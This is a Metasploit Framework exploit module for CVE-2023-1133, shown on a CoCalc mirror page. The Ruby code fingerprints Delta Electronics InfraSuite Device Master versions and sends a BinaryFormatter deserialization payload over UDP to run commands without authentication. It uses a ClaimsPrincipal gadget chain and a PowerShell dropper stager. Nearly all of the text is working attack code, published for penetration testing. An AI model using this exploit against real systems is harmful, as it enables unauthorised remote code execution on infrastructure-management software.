Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb
32676 views
1
# This module requires Metasploit: https://metasploit.com/download
2
# Current source: https://github.com/rapid7/metasploit-framework
3
4
class MetasploitModule < Msf::Exploit::Remote
5
6
Rank = ExcellentRanking
7
8
include Msf::Exploit::CmdStager
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::Udp
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Delta Electronics InfraSuite Device Master Deserialization',
18
'Description' => %q{
19
Delta Electronics InfraSuite Device Master versions below v1.0.5 have an
20
unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()'
21
method of the 'Device-Gateway-Status' process.
22
23
The 'ParseUDPPacket()' method reads user-controlled packet data and eventually
24
calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation,
25
leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process.
26
},
27
'Author' => [
28
'Anonymous', # Vulnerability discovery
29
'Shelby Pace' # Metasploit module
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
['CVE', '2023-1133'],
34
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'],
35
['URL', 'https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133']
36
],
37
'Platform' => 'win',
38
'Privileged' => false,
39
'Targets' => [
40
[
41
'Windows EXE Dropper',
42
{
43
'Arch' => [ARCH_X86, ARCH_X64],
44
'Type' => :windows_dropper,
45
'CmdStagerFlavor' => :psh_invokewebrequest
46
}
47
],
48
[
49
'Windows CMD',
50
{
51
'Arch' => [ARCH_CMD],
52
'Type' => :windows_cmd
53
}
54
],
55
],
56
'DefaultTarget' => 0,
57
'DisclosureDate' => '2023-05-17',
58
'Notes' => {
59
'Stability' => [CRASH_SAFE],
60
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS],
61
'Reliability' => [REPEATABLE_SESSION]
62
}
63
)
64
)
65
66
register_options([
67
Opt::RPORT(10100),
68
OptInt.new('INFRASUITE_PORT', [ true, 'The port on which the InfraSuite Manager is listening', 80 ]),
69
OptString.new('TARGETURI', [ true, 'The base path to the InfraSuite Manager', '/' ])
70
])
71
end
72
73
def check
74
print_status('Requesting the login page to determine if target is InfraSuite Device Master...')
75
res = send_request_cgi(
76
'method' => 'GET',
77
'rport' => datastore['INFRASUITE_PORT'],
78
'uri' => normalize_uri(target_uri.path, 'login.html')
79
)
80
81
return CheckCode::Unknown unless res
82
83
unless res.body.include?('InfraSuite Manager Login')
84
return CheckCode::Safe('Target does not appear to be InfraSuite Device Master.')
85
end
86
87
print_status('Target is InfraSuite Device Master. Now attempting to determine version.')
88
res = send_request_cgi(
89
'method' => 'GET',
90
'rport' => datastore['INFRASUITE_PORT'],
91
'uri' => normalize_uri(target_uri.path, 'js/webcfg.js')
92
)
93
94
unless res&.body&.include?('var devicemasterCfg')
95
return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.')
96
end
97
98
version = res.body.match(/version:'(\d+(?:\.\d+)+[a-zA-Z]?)'/)
99
unless version && version.length > 1
100
return CheckCode::Detected('Failed to find version string')
101
end
102
103
version = version[1]
104
vprint_status("Found version '#{version}' of InfraSuite Device Master")
105
r_vers = Rex::Version.new(version)
106
107
return CheckCode::Appears if r_vers < Rex::Version.new('1.0.5')
108
109
CheckCode::Safe
110
end
111
112
def exploit
113
connect_udp
114
case target['Type']
115
when :windows_dropper
116
execute_cmdstager
117
when :windows_cmd
118
execute_command(payload.encoded)
119
end
120
end
121
122
def execute_command(cmd, _opts = {})
123
serialized = ::Msf::Util::DotNetDeserialization.generate(
124
cmd,
125
gadget_chain: :ClaimsPrincipal,
126
formatter: :BinaryFormatter
127
)
128
129
pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}"
130
udp_sock.put(pkt)
131
end
132
133
def cleanup
134
disconnect_udp
135
end
136
end
137
138